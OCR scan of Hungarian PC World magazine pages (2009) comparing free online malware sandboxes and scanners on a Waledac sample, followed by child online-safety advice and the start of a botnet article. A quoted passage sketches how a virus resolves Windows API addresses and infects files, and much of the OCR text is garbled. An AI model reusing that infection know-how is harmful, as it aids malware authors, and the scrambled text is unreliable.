tunk, hogy A 32 lovas fo-
gat cimmel a VirusTotal (www.
virustotal.com) weboldalrdl frtunk.
Az azéta mar 39 ,lovas” szolgalta-
tds minden ismert antivirus prog-
rammal megvizsgalja a feltoltott
(vagy e-mailben elkiild6tt) minta-
allomanyt, és pillanatokon, esetleg
perceken belll megkapjuk a vég-
eredményt: hanybdl hanyan lattak
fert6zottnek a fajlt. A fert6zéseknél
hasznalt nevek aztan sok esetben
mar annyira eltéréek, vagy atfedik
egymast, hogy a tovabbi nyomozas
miatt a kedvenc biztonsagi progra-
munk elnevezésével érdemes meg-
nyitni a Google keresGablakat.

Extrak a VirusTotalban

A figyelmes szemlél6 — kiilondsen,
ha kicsit jaratos a Windows-progra-
mozas és/vagy a kartevok terletén
— észrevehet mdr itt egy-két érdekes
pluszsort a vizsgalat tablazata alatt
is. Az ellenérzott allomény bajtban
mért hossza, valamint az azonositas-
hoz haszndlt MD5, SHA1, SHA256

UNBELT SOFWARE

. Sunbelt

Home Advisories Malware Research iScape

"\'{: M' Sunbelt Software

és Ssdeep hash értékek utan tovab-
bi érdekes sorokat lathatunk, ha pél-
daul EXE vagy DLL alloményt vizs-
galunk. A TrlD egy olyan segédprog-
ram, amely a fdjltipus megbizhat6
beazonositasaban segithet. Ugye egy
fajl latszolagos kiterjesztése és a fajl
valédi fajltipusa kézott néha nincs
osszefliggés, illetve eltérés esetén ez
kimondottan a szandékos megté-
vesztés része. Szeretjiik, ha egy dllo-
médny valéban az, aminek mondja
magdt, ellenkez6 esetben a homlo-
kunk méris enyhe rancot vet.

A Portable Executable
rejtelmei

A PE EXE fdjlok fejlécszerkezete sok
olyan informaciét hordoz, amelybdl
a szakemberek szamos kovetkezte-
tést tudnak levonni. Nincs olyan vi-
rusvédelmi program, amely valami-
lyen szinten ne ellendrizné ezeknek
az adatoknak a meglétét, helyessé-
gét, ellentmondasait. Sajnos maga
a Windows meglehetésen rugalma-
san kezeli ezeket, igy olyan prog-
ramok futtatdsat is engedélyezi,
amelyeket egy alapos segédprog-

Research Toolbox Media About Us

[Search..

Enteryaur email address and click"Browse" to find the fils you wantto analyze.
To submit the sample, click"Submit sampl for analysis”

Within a shorttime, the analysis of the fils you submitted will be sentto your email

Koobface
The 10 Most interesting Products at...
Ding Dong, Zango is dead!

New rogue: Extra Antivirus

New rogue: AV Antispyware

Yaur email address:
File 1o Lpload: (< 12288 KB)

* HTMLResults  TextResults

Tallozas..,

Comment < 255 chars

Read more entries...

VIPRE™ Antivirus + Antispyware 3.1
Definition: 5113 472802009
VIPRE™ Enterprise 3.1
Definitian: 5113

Spy™ 3.1

42812008

Dfinition: 5113 N 412812008 uccess: Your file has been submitted to

Definition: 5113 412812008

View All Definitions

Internet Antivirus Pro Re...

Watch the videa below o ses how

remaving Intermet Antivirus Pra is so easy

with VIPRE!

Extra Antivirus

Extra Antivirus is @ rogue antivirus
oftware, or a fake s ecurty software

There are actually two rogus antivirus

ware

WiniBlueSoft
WiniBlugSaftis a fake antispyware
softwars, r a rague antispywars.
‘WiniBlugSoft may sound cute and cuddly,
butitis anas,

Read more entries...

emailina the analysis.

You
Sunbelt Sandbox ID: 8454605

CUISandp®

Visit the Sunbelt CWSanabox prodect page for more

info on our maiware analysis tools.

Technalogy provided by CWSandbox.org and the
Laboratory for Dependable Distributed Systems at the University of Mannheim.
1©2006 Copyriaht CWSandbox - Carsten Willsms

“Due to heavy load, the public sits does not support: URL or BHO analysis, zipped files or analysis of infected documents.
Please contact us directy for sample analysis of files other than Win 32 PE (portable exscutable) format

A Sunbelt CW Sandbox oldalan a feltoltétt minta alapos elemzésen esik at.

Az eredményrdl e-mailben értesuliink

52|PC WORLD ¢ 2009. JULIUS

Analysis Report for nocrisis.exe
MD5: e78325¢c76ce51d8071d59994366¢4168

Summary:

Description Risk
Autostart capabilities: This executable registers processes 1o be executed at system start. This could

result in unwanted actions 1o be performed automatically. medium
Performs File Modification and Destruction: The executable modifies and destructs files which are not @
temporary. high
Performs Registry Activities: The executable reads and modifies register values. It also creates and

moenitors register keys. low

Az Anubis PDF-riportja elején talalhatoé 6sszefoglaloban maminden fontos
dolog latszik: a kartevé megpiszkalja az Autorunt, valodi (hem atmeneti)
allomanyokat modosit, illetve torol, és a rendszerleiré adatbazisban is val-
toztatgat. Ezek koziil az allomanyok médositasa/torlése latszik a legveszé-
lyesebb tulajdonsagnak a maga piros (high) jelzésével

ram vagy egy antivirus alkalma-

zas szerfelett gyantsnak talal. A
VirusTotalban mindenesetre a PEiD
és a pefile elemzése ad plusz tim-
pontokat. Még ha minden antivirus
motor néma marad, akkor is lehet-
nek itt kirtevékre utal6 momen-
tumok. Aki pedig az EXE fajlok bi-
rodalméban szeretne mélyebben
megmeritkezni, annak hasznos to-

vabbi olvasmany lehet Pavol Cerven
Programvédelem fejlesztéknek
cim kényve a Kiskapu kiadétol.

Ha feldobom, PDF, ha le-
esik, milesz?

Természetesen nemcsak az EXE &l-
loményok fejléc- és fajlszerkezete
lehet olyan, ami barkacsolasra, triik-
kozésre, exploit kédra utal, hanem

Infected EXE run

us is enct
y to note tha
crypts back

virus looks for is below:

GetP

Internet in attached emails

ral loops - from two till five) and
s still encrypted. The virus
MS Word infection data and routine as well as PE EXE polymorphic engine

The virus installation routine looks for necessary Windows API functions addresses that are used by the virus later. The
list of these functions is quite long, this is caused by list of things the virus does to spread itself. The functions list the

The virus gets these functions' addresses by the standard Windows virus trick: it locates the image on KERNEL32 DLL
WS memory, scans its Export table and gets addresses of two functions: GetModuleHandle and
ocAddress. By using these two functians the virus is then able easily locate all addresses of other necessary
functions. The most interesting feature of this routine is the fact that this is the first virus that process not only 95/98
and WinNT addresses while looking for KERNEL22 DLL image, but pays attention for Win2000 addresses also

The virus then locates and infects the MS Word, then searches for PE EXE files and also infects them, then hooks a set
of system events (files and emails access) that is used to locate and infect more files as well as spread virus copy to the

re executed. They decrypt virus code layer-
control to the virus installation routine. It is
ypts and accesses them in case of need,

Tipikus API-fliggvények egy programban, amelyekre érdemes kiemelt
figyelmet forditani. EI6fordulasuk 6nmagaban még nem jelez kartevét, de

sokszor tiintek fel ilyen szerepben
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sian In | Reaister

Search Reports: [

Want to search threats?

& ThreatExpert féle allomanyformatumban (HTML,

T S——— XML, PDF vagy sima szévegfdjl) is le-
s tolthetjik.

Mi a sziviinknek kedves PDF
(Portable Document Format) kiter-
- B S jesztést valasztottuk, tesztiink al-

" landé szerepléje pedig egy Kryptik
(Waledac) tréjai program volt,
amelyet kordbban egy fert6zott
weboldalrdl toltottiink le. Ered-

= ményképpen listat kapunk a kdr-
tevd dltal olvasott minden éllo-

Last 24 hours | 7 days | 30 days
Known Bad | Suspidious

Heme - Vision - Concept + Samples - Submit - Articles + News + Forum + Cantact + About login

Submit e Search: | a

L s SubmitNew Sample 3
Plesze have a loak into the changelos ta be infarmed what has
changed since 3 new releaze = Unpack
« Browse URL
e-Mail [ |

& Creats behaviour diff
" Wait

Comments

{optional)

File to submit
(max Smb):
Seript ta submit
(optional):

| agree to the
terms of service:

Jmediajc_70gbjeicarfkuponii| Tallozas.

Tallozas.

7] 2009,06.03. 12
2009, 06. 03, 12:

Analyse
2009, 06,03, 12:

2009. 06. 03. 12;
2009, 06, 03. 12

Howto gy manyrél, Registry-értékrél, halézati
Mo 2009. 06, 03. ] sz 2 . 2 P
5 - aktivitasrél, minden médositott, va-
There are three possiblities for a valid submizsion; - . L. L, .
« A srpt (o) ‘ lamint Gjonnan létrehozott bejegy-
o A binary file which is either a: . m L . L , . L L
o Bl R A zés, illetve dllomany is elénk tarul.

© Any exectuable (“.exe, *.pif, *.scr, *.doc, “ppt, “axls,
“.html, *bat, ..)
@ Driver (*:sys)
® Or a binarie (*dIl or “.exe or *.sys and a script (.jbs)

Az eszkéz masik jol hasznalhat6
extrdja, hogy nemcsak feltoltGtt &l-
loményokat lehet vele elemeztetni,
hanem egy adott weboldal cime is

Egy Gjabb online viruselemzé a szinen: Joe bacsi varazs-
doboza. Az elkésziilt eredményeket e-mailben varhatjuk,
ezért nem érdemes hamis cimmel operalni

A ThreatExpert oldalan beleolvashatunk a masok altal
feltoltott allomanyok vizsgalati eredményeibe, és azt
is lathatjuk, melyik mintat mikor és milyen orszaghél

toltotték fel

napjaink egyik slagere, a Portable
Document Format alapt dokumen-
tumoké, azaz a PDF fajloké is. Emi-
att kerdilt be a VirusTotal eszko-

zei kozé a PDFID nevdi alkalmazas,
amellyel hatékonyan kilonboztet-
hetjiik meg a szabalyos és nagy va-
l6szintiséggel kartékony PDF éllo-
manyokat. Ez utébbi eszkéz, szem-
ben a PE-segédprogramokkal, nem

egy elemz§ (parser), hanem ismert,
veszélyes stringrészleteket keres, il-
letve vizsgal, és ennek alapjan hoz-
za meg a dontést.

Mindenkit elkiildiink kii-
lonbo6zo helyekre

Ha van egy gyans allomanyunk,
amit mar bedobtunk kedvenc
VirusTotalunkba, esetleg tovabbi ki-

NORMAN

SandBox Information Center

== T - — Submit [ About
[ | Statistics (R Search| 5 0 M,

| Concept and

R [Home| [T

Technology
Microsites » Norman SandBox Information Center » Submit file
Submit file lor SandBox analysis

Enter your email address and click "Browse..." to find the file analyzed by
Morman SandBox Information Center, To submit the sample, click the
"Upload" button,

For security reasons you will have to type in the characters from the image
shown below (CASE SENSITIVE!). If you have problems reading these
characters, clicking the "Change Image" link will result in another image,
which hopefully is easier to read

Within a short time, the analysis of the file you submitted will be sent to
the emall address supplied and added to the "Latest submitted" list

NOTE!N Archive files (zip, rar etc) will not be unpacked before scan,
meaning that only the archive file itself will be scanned, not the files it
contains,

Security
cade:

XAXC

Change Image!
Code from
image:
Email:
Tallézés

Filename: /media/c_70gb/eicar/kupon/nocrisis.exe

i L_Jp;loqd i

A szakma egyik legjobb automata kartevéelemzé6 programja a Norman
SandBox. A homokozéba dobott fajl kodemulaciés végrehajtasa bizton-
sagos koriilmények kozott leplezi le az orvul végrehajtott fajlkészitési és
-torlési, valamint halozati kapcsolat létesitésének kisérleteit

sérletezés céljabdl a novirusthanks.
org, a virscan.org, avagy a
virusscan.jotti.org oldalakra, ak-
kor feltdimadhat az igény: j6 lenne
tudni, mit rejt még magaban az 4l-
lomany, mit tenne, ha futtatndnk?
Milyen kellemes lenne, ha létezné-
nek olyan webhelyek, ahova csak
bedobjuk a gyand targyét, és ké-
szen ,kijon” az elemzés. Nos, j6
hirrel szolgdlhatunk, létezik ilyen,
és a fenti vagyunkat ingyen és bér-
mentve megtehetjiik. Az erre sza-
kosodott weboldalak kdzétt csa-
tangolunk most egy kicsit, hegy-
maészo-felszerelés nélkiil, de azért
tornacipében és a terjedelmi korla-
tok okan a teljesség igénye nélkiil.

A sakal lapja

Els6 dllomasunk a Secure Business
Austria dltal tizemeltetett Anubis
(anubis.iseclab.org). Ahhoz, hogy
informéciohoz jussunk a vizsgalan-
dé allomanyrdl, azt egyszerien csak
fel kell tolteni a weboldalra, ahol az
automata, gépi prébalkozéasokat ki-
sz(ir6 CAPTCHA-k6d begépelése
utdn indul is az elemzés. Azonosita-
ni semmilyen médon nem sziiksé-
ges magunkat, kattintsunk ra a Jéva-
hagy (Submit) gombra és méris in-
dul a folyamat. Ha szerencsénk van,
ez azonnal meg is torténik, viszont
ha masok is éppen haszndljak az
Anubist, akkor pér percig egy vardlis-
tara kerdiliink. Maga az elemzés sem
tart tovabb, és az eredményt tbb-

begépelhet§ ellendrzésre. Ez a ma-
napsdg el6forduld rengeteg IFRAME-
fert6zott weboldal esetében kiilo-
nosen hasznos szolgaltatas. Ekkor a
riportban a webszerverrel torténd
kommunikacié fontosabb részleteit
is megtaldlhatjuk, de ehelyett persze
a HTTPLiveHeaders Firefox-plugint
(livehttpheaders.mozdev.org) is
hasznalhatjuk a felderitésre.

CWSandbox: az igéret
szép szo0...

A kovetkez6 lehetdség a CWSand-
box weboldal (www.cwsandbox.
org). It is feltolthetjik a vizsgalan-
dé allomdnyainkat — 12 megabdj-
tos méretkorlattal -, és az ered-
ményt kérhetjiik sima sz6veges
vagy HTML formétumban is. A fel-
toltéskor kapunk egy egyedi ID-t
(azonositot), és ennek birtokdban
tekinthetjiik meg aztdn az elemzés
eredményét. Sajnos cikkiink ira-
sakor karbantartds miatt mér tobb
mint egy hete 4llt a szolgaltatds,
ezért feladtuk eredeti tesztelési ter-
veinket. Remélhetéleg a késébbi-
ekben — mondjuk Gjsagunk megje-
lenése utan — mar mdkédni fog.

Joe bacsi varazsdoboza
Kovetkez6 vizsgalatunkat a Joebox
oldal (www.joebox.org) elemz6 ké-
sziiléke (www.joebox.org/submit.
php) segitségével végeztiik, szeren-
csére itt minden az elvardsainknak
megfelelGen zajlott. Az allomany fel-
toltése utdn azonban itt meg kellett
adnunk az e-mail cimiinket, mert
magat a riportot levélben fogjuk
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2 | )
Letoltés Ujuzenet Cimjegyzék \Visszafejtés
= Targy: [SANDBOX] Uploaded from web
Feladé: Norman Web <norman_web@norman no>

Datum: 18:08

Cimzett:

<« « -
Vélasz Vélasz mindenkinek Tovébbités =~ Torlés

= . 4
Szemét Nyormtatas  Lealitas

Norman SandBox Reporter

http://waw.norman.con/enterprise/all products/malware analyzer/norman sandbox reporter

nocrisis.exe :

[ DetectionInfo ]

* Filename: C:\analyzer\scan\nocrisis.exe.

Sandbox name: NO_MALWARE
Signature name: Waledac.BA.
Compressed: NO.

TLS hooks: NO.

Executable type: Application.
Executable file structure: OK.
Filetype: PE_I386.

[ General information ]

* File length: 414720 bytes.

Not detected by Sandbox (Signature: Waledac)

+ MD5 hash: e78325c76ce51dB8871d59994366c4768.

(C) 2004-2009 Norman ASA. A1l Rights Reserved.

A Norman Sandbox online valtozatasz(ikszavu, mindéssze néhany kulcsin-

formaciot szolgaltat

megkapni. (Akik s(irin hasznaljdk a
VirusTotal weboldalt, azok emlékez-
hetnek rd, hogy a weben megjelendé
értékelés mellett ott is van lehetGség
elektronikus levélben kérni az ered-
ményt.) Néhany perc leforgdsa alatt
meg is érkezett egy ZIP mellékletben
a riport, amely egy masfél megabajt
méret( HTML fajlt rejtett magdban.
A jelentés klonféle szekciokbdl dll,
és ezekre kattintva mertilhettink el
az olyan részletekbe, mint a Regjstry-
bejegyzések manipulacidi, a fajlok
megnyitdsa olvasasra, médositasra,
létrehozésra, processzek és végre-
hajtasi szdlak inditésa, halézati aktivi-
tas stb. Osszességében itt is azt kap-

% ThreatExpert

s n Summary

Technical Details

AP possible securty Risk

3 Attantion! The folowing threat catagory was identifed:

] File system Moaifications

tct in tha system

FiaSize il Hash

414720 MDS: 0AE7B3DSCTGCESIDB07IDSIINBECHF

Nyitott portok, frissen létrehozott Registry-
kulcsok. A ThreatExpert riportjaban a felismert
kartevdk kalonféle antivirus cégek szerinti elne-

vezéseit (alias) is megtalaljuk
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tuk, amit vértunk, raadasul a riport
fastruktdraja kényelmes bongészést
tesz lehetdvé.

Egy pehelystlyu versenyzo
A ThreatExpert.com elemzéje
(www.threatexpert.com/submit.
aspx) szintén bekéri e-mail cimin-
ket a fajl feltoltésekor, és ide érkezik
par perc milva a , threatexpert” jel-
széval titkositott riport, amely a ko-
rabbi indulék teljesitményéhez ké-
pest elég rovid és kivonatos.

Van azért érdekes Gjdonsag is, ki-
csit a VirusTotal lehetdségei is visz-
szakoszonnek: lathatjuk néhany vi-
ruskeresé motor dltal adott detek-

talas eredményét is.
Ugyancsak érdekes,
hogy lehet8ségtink van
a mésok altal feltoltott
elemzések olvasgatasa-
ra is, ugyanis minden
feldolgozas eredmé-
nye felkertil a weblap-
ra, és az utolsé 200 ri-
port nyilvanos.

A vizsgalat minGségé-
nek szempontjdbél min-
denesetre, aki a mar
korabban megismert
elemzési részletességet
igényli, az sokkal job-
ban jar az Anubis vagy a
Joebox valemelyikével.

Hoppon maradas
Norman-modra
Végl sétankat az igazi
nagyagydnak szamitd
Norman SandBoxnal
fejezziik be (hopp.
pcworld.hu/6007). Az

elemzésre kiildend6 allomany fel-
toltése itt is a szokott médon zajlik,
minddssze egy CAPTCHA-kéd be-
gépelése szlikséges. A riport ezittal
is e-mailen keresztiil érkezik, am
nagy meglepetésre alig par sorbdl
all. Sz6 sincs a fent emlitett DLL-
hivasok, Registry-, allomanykezelé-
si és halozati aktivitds kibontasarol.
Lévén, hogy ismerjtik a professzi-
onalis Norman SandBox Analyzer
Pro képességeit, amelyek kozott
minden kordbbi vizsgalat mel-

lett olyan extrak is megtalalhatéak,
mint az énkicsomagolé tomoritdk,
a rootkitek és exploitkodok felis-
merése, ezért ebben az esetben
gy summazhatjuk az eredményt,
hogy az ingyenes szolgaltatast nem
kivantak hasznalhat6, kedvcsinl
formara hozni. Az ingyenes elem-
zési lehetGségnél nemhogy egy
korlatozott riportot sem kapunk, az
eredmény a haszndlhatdsagat te-
kintve — de a versenytarsakhoz vi-
szonyitva is — értéktelen.

Zarszo

Egy étlagos felhasznalonak jol
hasznalhatéak az ismertetett in-
gyenes lehet6ségek, hiszen csak
esetenként él a lehetGséggel, és
nem is annyira a technikai részle-
tekre kivancsi, hanem jobbara a
sajat biztonsagaért aggodik. A fel-
sorolt online eszkézok képessé-
gei természetesen csupan téredé-
kei — rendelkezésre allasban épp-
Ggy, mint a tudas mélységében — a
valéban jol hasznélhat6, de fize-
tds, és igen borsos ard cstcs cél-
programokhoz képest. Azonban
vannak olyan munkahelyek, ame-
lyek fizet6képes keresletet tud-
nak felmutatni az utébbiak irant —

Tovabbi informacis

rey
coyiindow, LoadScringh, NessageBorh,

11 GerAC?, Sleep, ViroualFres, Viroualdlloc, GeeCurrentThrsadld,
renenc, Interlockedincrenent, Virtualquery,
iByte, MulCiByteTovLdeChar, lstrlend, 1strcpynd,

) wrierils,

rary, FindPiescFiled, Findcloss, ExitProcess,
Leex, Re:

A11: Tisservalue, T e, Localilloe, GetoduleHandieh
w1 ck, LoadStringh, GetSysteaMecri texea,

cstaandle,
GecModuleFileianch, GetlocaleInfod, GetlocalTine, GecLastErIor,
athltanei,
GecCPInfo, Freelibrary, Formatllessaged, BmmCalendarinod,
Delererile,
CreateFilea, CreateEventh, CompareScringd, CloseHandle
> : Sieep

T
SafeherayCreate, VArlantChangeTipe, VAELancCopy, VAriantClear, Variantinic

(0 expores |

A PEInfo segédprogram eredményei
csak annak jelentenek ujdonsagot,
aki mostanaban még nem hasznalta
a VirusTotal.com kartevédetekto-
rat. A szekciok nevei, méretei, a
program belépési pontja, és még
sok egyéb fontos inf6 bukkan elé
gombnyomasra

igy példaul viruslaboratdriumok-
ban, bankoknal, nemzetbiztonsagi
és nyomozo szerveknél ezek nél-
kilozhetetlen és naponta hasznalt
segédeszkozok.

k%K k
Kérjiik kedves olvasdinkat, ha a té-
maban kérdésiik, hozzaszola-
suk van, juttassak el hozzank (vele-
meny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsad6
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

KAPCSOLODO WEBOLDALAK

Az ESET magyar nyelv( viruslexikonja: www.eset.hu/virus

Online virusazonositék: www.virustotal.com, virscan.org, virusscan.

jotti.org, scanner.novirusthanks.org

Anubis onliprogramelemz6: anubis.iseclab.org

A Sunbelt online programelemzéje (CWSandbox): www.cwsandbox.org

Joebox online programelemzé: www.joebox.org/submit.php

A ThreatExpert online programelemzéje: wwwi.threatexpert.com/submit.aspx

A Norman SandBox online véltozata: hopp.pcworld.hu/6007

Ssdeep tudnivalék: www.forensicswiki.org/wiki/Ssdeep

TrID fajltipus-azonositd program: mark0.net/soft-trid-e.html
PDFD PDF-kértevé keresé: blog.didierstevens.com/2009/03/31/pdfid/
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Hogyan vigyazzunk rajuk még jobban?

Sorozatunk huszonnegyedik epizodjaban igyeksziink néhany j6 tanacsot adni a kisgyermekes szi-
loknek és a fiataloknak. Gyermekeinket nagyon szeretjiik, nem szeretnénk, hogy bantédasuk essen,
azonban tapasztalatlansaguk és naivitdsuk miatt kiemelt célpontjai az internet blinoz6inek. Cikkiink-
ben bemutatkozik a NOD32 sokak szamara egy vadonatyj oldalardl, illetve ismertetjiik a szildi fel-
tgyelet egy lehetséges modjat az Uj 4.0 valtozat segitségével.

okan esnek abba a hibé-
S ba, hogy alabecsiilik a szii-

6k viselkedésének mintaadd-
si funkcidjét. Pedig oridsi jelentGsége
van. Ha példaul a gyerek rendetlen-
séget [dt a szUlG frdasztaldn, lehet,
hogy hidba kérleljiik majd a jaték-
polc elpakoldsdra. De ugyanigy ér-
demes — persze a sajét kordnak meg-
felel6en — vélaszolni is a kérdéseire
az egyszer(i tiltdsok helyett, amelyek
értetlenségre, , csakazértis”-tipus(
dacra vezethetnek. Meg kell értetni
vele, miért nem tessziik kozszemlére
az Gsszes személyes adatunkat, mik

‘We’ll have to call you Uncle C'... the messages _\

facebook teme Profie  Friends  inbes

Shelley Sawers | L s e friend |
wall  Info  Photos  Boes

Basie Iedurematinn

e T, 0
IIIGH PRI:IFILE L'vdy Shalley Sawses’ axlraoidinary Facs eh ook page

a veszélyei a bérki altal nézegethe-
t6 kihiv, fiirdruhas képeknek, mi-
lyen honlapoktdl jobb, ha 6vakodik
stb. Persze ez a nehezebb (it, sok ti-
relmet igényel, de hossz tavon min-
denképpen célravezetSbb. Fussuk at
el6szor is a legfontosabb, biztonsag-
gal kapcsolatos terileteket, hiszen
sokszor maguk a felnéttek sem érzé-
kelik a veszélyforrasokat.

Autorunos eszkozok

Sok gyerek haszndl MP3-as,
MP4-es zenelejétszot, de az
USB-kulcsok, fényképezbgépek,

Congrats on the'new job, already dubbed
Sir Uncle ‘C’ by nephews in the know!

Wow; so pleased you're on Facebook!
This will take up a lot of your time now!

Fantastic photos Shelley! Exciting
news about John's new appointment

NOT-50-SECRET SANT.IL Sir John Sawers poses
in festive headgear in a New York park 2t Christimas 2007

At home and at play with the famllv l

MEET THE FAMILY: Slrduhn Sawers and daughter
Corinng and, left, another Facebook image of Shallly

Tanulsagos torténet lehet az is, amikor a MI6 brit titkosszolgalat fénékének
felesége 6vatlanul még a lakcimét is kozzéteszi a Facebookon. Egy felel6t-
len csaladtag nagyon gyenge lancszem lehet a mintegy 226 millio tagot

szamlalé halézatban

Szeged - turistabuszbol

[ p e e
delmagyar NUETTE:
MR GHROSSIE  PROGRAMON  KEAPES AR ADATTAR  wisdmds  Doveliea
8 vk Bt bardeimns 1oy
W halyi allasek £} bty ingatianck B Cowreminzier Cike-karwnen

Bux sulevelel irt a 17 eves
kecskemeti gyitkos

iddal

PC World webiruhiaz

Adoba Fsh CSa'  Adobe Creacive Suty

# hnatales oltats

IERTEK  MASINGS VASANLAS onATEX

KIESIELT TEMAK - SONLINE HY

Van, akinek tetszik, van, akinek furcsa, hogy szamos online hiroldalon is

iskolas lanyok képe néz az olvasora.

Ha a sziil6 tud rdla, és megengedi, ak-

kor persze mas a helyzet, de kérdés, hogy valoban igy térténik-e az esetek

tobbségében

A szamitogép-hasznalat és az internetezés életiink részévé valt. A szilék
csak akkor tudjak megvédeni gyermekiiket a veszélyektél, ha azok termé-
szetével sajat maguk is tisztaban vannak

memoriakartyak mind-mind ké-
pesek arra, hogy a szamit6gép-
hez vald csatlakoztatdskor auto-
matikusan futtassanak egy adott
alloményt. Ha viszont az esz-

kéz fert6zott valamilyen INF/Au-
torun tipust virussal, akkor meg-
fertézheti a szamitégéptinket is.
Erdemes lehet emiatt valamiféle
virus- és kémirtd programot hasz-

nalni, a gyerekkel pedig megértet-
ni, hogy a zenelejatszojat ne ,tolt-
se fel” mindenféle ismeretlen sza-
mitogépen.

Ki iil a masik gépnél?

Nem mindenki az, akinek latszik.
A kozosségi oldalakon is vannak
olyan rejt6zkodé blinozék, pedo-
filok, akik adatlapjuk alapjan lat-
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You don't look
anything like
your pictures

on MySpace...

Your eyes are
like diamonds.

Por C gonalontimes www. suShilond.net

A kisebb gyermekeket is fel kell vilagositani arrél, hogy sosem lehet
biztosan tudni, kivel folytat éppen beszélgetést. Ha példaul a chatpartner
meztelen fotot kér, vagy a haz riasztojanak kodja utan érdeklédik, az mar
a szul6 haladéktalan kézbeavatkozasat igényli

sz6lag gyerekek, de valéjaban az
a céljuk, hogy kikérdezzék, és be-
hélézzék a gyandtlanabbakat, akar
az elkotyogott informaciokkal tor-
ténd zsaroldssal.

Sose adjuk meg minden szemé-
lyes adatunkat a kozosségi porta-
lokon, mert mésok visszaélhetnek
velok! Csak ha mér val6ban isme-
réstink valaki, elég akkor odaad-
ni a telefonszamunkat, lakcimain-
ket vagy e-mail cimiinket. Bar sok
felndtt is elkoveti ezt a hibét, de
a gyermekek esetében ez sokkal
veszélyesebb, rdaddsul 6k hajlamo-
sak naivan mindent elarulni, ezért
kiemelten a sziil6 feladata, hogy
megbeszélje a gyerekkel ezen dol-
got, illetve tandcsot adjon.

Link iizenetek

Léteznek olyan kartevsk, ame-
lyek a Live Messenger tizenetein
keresztiil terjednek, és abban egy
linket kapunk egy ismer6stinkt6l.

Egy aprilisi felmérés szerint a munka-
vallalék tobb mint fele (egészen pon-
tosan 62,8 szazalékuk) ad meg ma-
gardl tulsagosan részletes személyes
informaciot a kozosségi portalokon,
amellyel kdzvetve mar a munkaadoék
érdekeit is veszélyeztetik

50| PC WORLD ¢ 2009. AUGUSZTUS

Azonban ha rékattintunk, egy kar-
tevét terjeszté oldalra keralink,
amely megfertzheti a szamité-
gépiinket.

Sose kattintsunk olyan linkre,
amely vératlanul, esetleg csak an-
gol nyelvi tizenettel érkezik, és
még akkor se tegyiik ezt, ha ezt
latsz6lag a baratunktél kaptuk!

Semmi sincs ingyen

Sok weboldalon, torrentszerveren
talalhatok feltort programok, mo-
biltelefonok fiiggetlenitését végzG
segédszoftverek, szériaszam-gene-
rétorok. Azonban ez egyben ided-
lis terep a btinozbknek, akik a leg-
Gjabb virusokat, férgeket, kém-
programokat tesztelik a gyandtlan
&ldozatokon. Ovakodjunk a wa-
reztartalmaktél, ezekben sokszor
olyan kédok bdjhatnak meg, ame-
lyek a legfrissebb kartevéket tar-
talmazzak. Raadasul a torvénye-
ket is megsértjiik, ha ilyeneket tol-
tiink le torrentszerverekrdl, hiszen
a folyamattal egyben feltolt6kké

is valunk!

A statisztikak

is ezt mutatjak

A Webroot egy éatfogd felmérés
keretében mintegy ezeregyszaz
Facebook-, MySpace-, Twitter-
LinkedIn-felhasznalot kérdezett ki
a webhaszndlati szokasaikrél. Az
eredmények alapjan elmondhat-
juk, az 6vatossag sajnos nem iga-
zan jellemz6.
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Nemcsak titkos igynokot, de a Microsoft vezetéjét is megtalalhatjuk rész-
letes adatokkal, csaladi fotokkal. A publikus adatokkal kapcsolatosan szinte
mindenkinél nagyobb odafigyelés lenne sziikséges

A valaszadok kétharmada egy-
altalan nem korlatozza a szemé-
lyes profiljaban olvashaté részlete-
ket, amelyek igy akar egy Google
keresdvel is lathatoak. Tobb mint
a feltik (59%) nem tudja bizto-
san, kiknek is engedélyezte pon-
tosan profilja megtekintését. Ko-
rilbeliil egyharmaduk (32%) adott
meg legaldbb harom személyes
azonositasra alkalmas informaci-
6t, egyharmaduk (36%) ugyanazt
a kozosségi portalon haszndlt jel-
szavat méshol is hasznalja, egyne-
gyediik (28%) fogad el baratkérét
idegentdl.

Méds mutatok sem festenek
szebb képet. Az igaz, hogy 78%
aggddik személyes adatai miatt,
de ugyanakkor 30% nem rendel-
kezik virus- és kémprogram elleni
védelemmel.

A korosztalyok kozétt a fiatalok
szamitanak a legveszélyeztetettebb-
nek, az atlagos 28 szazalékos érték-
kel szemben 40 szazalékuk fogad el
baratkérét idegentdl, és naluk sok-
kal jellemzébb az sszes személyes
adat, elérhetdség megadésa is.

KAPCSOLODO WEBOLDALAK

Jol lathatd, hogy a kozosségi
oldalak egyre inkdbb a kartevé-
terjesztGk célkeresztjébe kertiil-
nek. Kértevsk, csaldsok, hamis
linkek, atverések ugyantgy ki-
fizetédnek itt is, mint az atlag-
embereknek kuldétt adathaldsz
levelek: elegend6 csak 5 sza-
zalék, aki lépre megy, és a tet-
teseknek mdr bGségesen meg-
éri. Mi mast is javasolhatnank
végil, mint a személyes adatok
ésszerli korlatozasat, gyanak-
vast az idegenekkel szemben,
rendszeres frissitéseket, bizton-
sagi szoftverek hasznalatét, va-
lamint egyedi jelszavak alkal-
mazasat mindenhol.

* %k
Kérjiik kedves olvaséinkat, ha
a témaban kérdésiik, hozzaszola-
suk van, juttassék el hozzank (ve-
lemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsad6
Sicontact Kft.,, a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

www.eset.hu/szuloifelugyelet

Hogyan hozzunk létre felhasznaléi fickot Windows XP-n gyermekiinknek:

hopp.pcworld.hu/6082
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SZULOI FELUGYELET WEBBONGESZOHOZ, 6 LEPESBEN

Mielott belekezdiink, érdemes leszogezni, hogy tokéletes, kijatszhatatlan sziil6i felligyeleti szoft-
ver nem létezik. Ez a mostani sem az, de megkisérel segiteni, hogy gyermekink csak a neki
szant weboldalakhoz férhessen hozza internetezés kdzben.
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A vilag legnagyobb botnetjei

Sorozatunk huszondtodik epizodjaban bemutatunk néhany jelentds bothaldzatot, és kicsit korbené-
ziink, mely orszagok latszanak f6 zombicélpontnak, és melyek tudtak eddig tobb-kevesebb sikerrel
elkertilni az ilyen tomeges fert6zést.

botnetes timadasokrol

mar szinte mindent lefr-

tunk majusi Zombi-e vagy?
cim cikktinkben. Bar l4tszdlag
mindenki tudja a feladatat, a fer-
t6zés mégis egyre jobban terjed.
A havi kartevG-statisztikak is ar-
rél arulkodnak, hogy a Conficker
féreg és tarsai szamos orszag-
ban masszivan trénolnak héna-
pok 6ta az élvonalban. A fert6zott
gépeknek nemcsak a mar unalo-
mig ismert parancsok adhatok ki:

spamkdildés, részvétel DoS-, il-
